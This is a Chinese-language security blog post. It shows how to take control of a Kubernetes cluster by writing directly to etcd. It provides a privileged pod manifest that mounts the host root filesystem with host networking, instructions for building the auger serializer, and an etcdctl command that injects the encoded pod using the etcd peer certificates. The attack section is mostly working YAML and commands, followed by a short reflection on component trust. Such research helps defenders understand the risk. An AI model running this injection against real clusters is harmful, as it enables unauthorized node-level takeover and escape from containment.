在了解etcd利用的时候发现都是清一色的读secret,产生了一个疑惑不可以直接通过写etcd数据间接控制k8s集群吗?于是有了下面的探索。
etcd中k8s的数据存储格式 直接用etcdctl读取etcd中k8s相关数据会发现很大一份部分是乱码,经过简单了解可以知道这些数据是序列化存储到的etcd.
所以我们深入研究一下这些数据是如何序列化以及反序列化的,需要阅读一下k8s这部分的代码,参考下面这篇文章 一直往下跟 https://www.cnblogs.com/HopeGi/p/15370176.html
最终可以发现起序列化作用的是,Transformer 接口的 TransformToStorage 方法
1 2 3 4 5 6 7 8 type Transformer interface { TransformFromStorage(ctx context.Context, data []byte , dataCtx Context) (out []byte , stale bool , err error) TransformToStorage(ctx context.Context, data []byte , dataCtx Context) (out []byte , err error) }
查找接口实现发现有多个实现,
往前回溯确定默认是用的哪种,然后发现每个path用的都不一样。
不过我们先挑一个唬人一点的看看
虽然看着很吓人,数据用CBC加密了,但是往前回溯发现key是由etcd的键值计算出来的
其它的就不一一介绍分析了,到这里基本确定,etcd中存储的序列化数据虽然部分加密,但密钥基本都很弱,可以推出。
所以去找了下轮子,发现了auger, 既支持加密又支持解密 https://github.com/jpbetz/auger ,很方便
写etcd数据控制集群 以写一个特权的POD为例:
poc_pod.yaml:
这个yaml是先读取etcd中特权pod数据然后解码再稍加修改的, 想生成其它的POD也可以用这个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 apiVersion: v1 kind: Pod metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"poc-pod","namespace":"default"},"spec":{"containers":[{"args":["while true; do sleep 3600; done;"],"command":["/bin/bash","-c","--"],"image":"ubuntu","name":"ubuntu-containerd","securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/hostfiles","name":"test-volume"}]}],"hostNetwork":true,"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"test-volume"}]}} creationTimestamp: "2022-12-13T09:52:08Z" name: poc-pod namespace: default uid: a14c8434-2380-4cca-9834-b6ca6be7d219 spec: containers: - args: - while true ; do sleep 3600 ; done; command: - /bin/bash - -c - -- image: ubuntu imagePullPolicy: Always name: ubuntu-containerd resources: {} securityContext: privileged: true terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /hostfiles name: test-volume - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: kube-api-access-xh6zz readOnly: true dnsPolicy: ClusterFirst hostNetwork: true priority: 0 restartPolicy: Always schedulerName: default-scheduler securityContext: {}serviceAccount: default serviceAccountName: default terminationGracePeriodSeconds: 30 tolerations: - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 300 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 300 volumes: - hostPath: path: / type: Directory name: test-volume - name: kube-api-access-xh6zz projected: defaultMode: 420 sources: - {} - configMap: items: - key: ca.crt path: ca.crt name: kube-root-ca.crt - downwardAPI: items: - fieldRef: apiVersion: v1 fieldPath: metadata.namespace path: namespace status: conditions: - lastProbeTime: null lastTransitionTime: "2022-12-13T09:52:08Z" message: '' reason: Unschedulable status: "False" type: PodScheduled phase: Pending qosClass: BestEffort
clone auger and build:
1 2 3 git clone https://github.com/jpbetz/auger.git cd auger go build main.go
使用auger序列化pod数据然后写入etcd
1 cat poc_pod.yaml | ./auger encode | ETCDCTL_API=3 ./etcdctl --endpoints=127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/peer.crt --key=/etc/kubernetes/pki/etcd/peer.key put /registry/pods/default/poc-pod
稍等片刻就会发现pod已经起来
思考总结 对于kubernetes来说,etcd这种利用方式算安全缺陷吗,需要改进吗?根据外部输入均不可信的原则来看,这个利用对k8s集群来说确实算安全风险。
同时我们延伸思考,从整体上来看围绕kubernetes组成的云原生生态为了便于扩展和开发,采用了松耦合的设计,把功能都分散到各个组件。但同时各个组件之间的信任与授权关系就需要重新考量,处理不当就会导致一个组件沦陷致使整个集群的沦陷。